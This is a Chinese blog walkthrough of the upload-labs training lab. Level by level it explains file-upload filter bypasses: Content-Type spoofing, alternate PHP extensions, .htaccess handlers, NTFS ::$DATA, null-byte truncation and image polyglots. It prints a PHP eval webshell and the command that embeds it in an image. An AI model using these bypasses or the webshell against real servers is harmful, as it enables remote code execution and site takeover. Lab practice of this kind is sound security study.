| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> PHP知识库 -> upload-labs详细教程 -> 正文阅读 |
|
[PHP知识库]upload-labs详细教程 |
目录 查看源码 由源代码可知,允许上传的文件为.jpg|.png|.gif 我们上传一个.jpg文件 利用burp suite进行抓包 ?将jpg改为php后,放包 上传成功。 ?第二关?Content-Type查看源码 有源码可知,发现只判断Content-Type类型,所以我们只需修改Content-Type进行绕过即可 首先上传php文件,抓上传包 ? 将箭头所指的内容改为image/jpeg或image/png或image/gif后,放包,文件即上传成功!? ? ?第三关 黑名单验证查看源代码 ?由源码可知,本关不允许上传.asp,.aspx,.php,.jsp类型的文件 我们可以通过不常见的php扩展名绕过黑名单的限制 比如.phtml,.php3,.php4,.php5 第四关?黑名单验证(.htaccess绕过)?查看源码 源码可知,黑名单拒绝了所有格式的文件后缀名,除了.htaccess 所以此关通过.htaccess绕过进行上传 首先,上传一个.htaccess文件 内容为:SetHandler application/x-httpd-php 文件命名为:.htaccess 接下来,上传一个.jpg文件 内容为:<?php 文件命名为:0.jpg(文件名自己定义) 上传即可。 ?第五关?黑名单验证(.user.ini)这一关和上一关差不多,只不过这一关加上了对.htaccess的禁止,但是没有将后缀进行大小写统一 我们用burp抓包将filename="12345.php"改为filename="12345.PHP"就可以了 ?第六关?空格绕过看完提示发现和源码,可以看到上面的方法都不可行 这时候就需要普及一个知识:Win下xx.jpg空格和xx.jpg.两种文件是不被允许存在的,要是这样命名文件,windows系统会默认删除空格或者. 在这里系统默认删除的的文件中的. 所以我们用burp抓包将filename="12345.php"改为filename="12345.php "(12345.php空格) 第七关 点绕过?查看源码 分析代码,有去空格和所以黑名单,但是没有去点。 我们只需要利用burp抓包加个点即可 第八关 ::$DATA绕过?查看源码 分析源码可知,之前所有的点这关都有防范 NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA。 本关中的黑名单没有去处后缀名中的“::$DATA” 利用burp抓包,在文件后缀处加上::$DATA ?第九关?.空格.绕过?查看提示 查看源码 ?上传文件名后加上点+空格+点,改为12345.php. . 第十关 双写文件名绕过 上传文件,burp抓包? ?将箭头处改为.phpphp ?第十一关?文件路径%00截断?查看源代码 从代码中可以发现红线处,对上传的文件名进行重新拼接,使用$_GET传参 上传.php文件 使用burpsuite抓包 ?在.php后增加%00.jpg,放包 ?第十二关?文件路径0x00截断查看源码 上传文件123.jpg,buropsuite进行抓包 ,箭头处添加/.jpg%00放包 第十三关?文件头检测制作图片马 将图片和一句话木马放在一个文件夹下 一句话木马为:? ?<?php @eval($_POST['attack']);?> 进行合成,命令如下 copy 1123.jpg /b + 222.txt /a 2.jpg 上传图片马 ?第十四关?getimagesize()检测同十三关,这一关是用getimagesize函数来判断文件类型,但是还是可以用图片码绕过 第十五关?exif_imagetype()检测png图片webshell上传同Pass-13。 第十六关?突破二次渲染上传图片马 使用burpsuite拦截 在图片尾部插入一句话木马,密码是123 ?放包 ? ? ? |
|
PHP知识库 最新文章 |
Laravel 下实现 Google 2fa 验证 |
UUCTF WP |
DASCTF10月 web |
XAMPP任意命令执行提升权限漏洞(CVE-2020- |
[GYCTF2020]Easyphp |
iwebsec靶场 代码执行关卡通关笔记 |
多个线程同步执行,多个线程依次执行,多个 |
php 没事记录下常用方法 (TP5.1) |
php之jwt |
2021-09-18 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/14 14:31:30- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |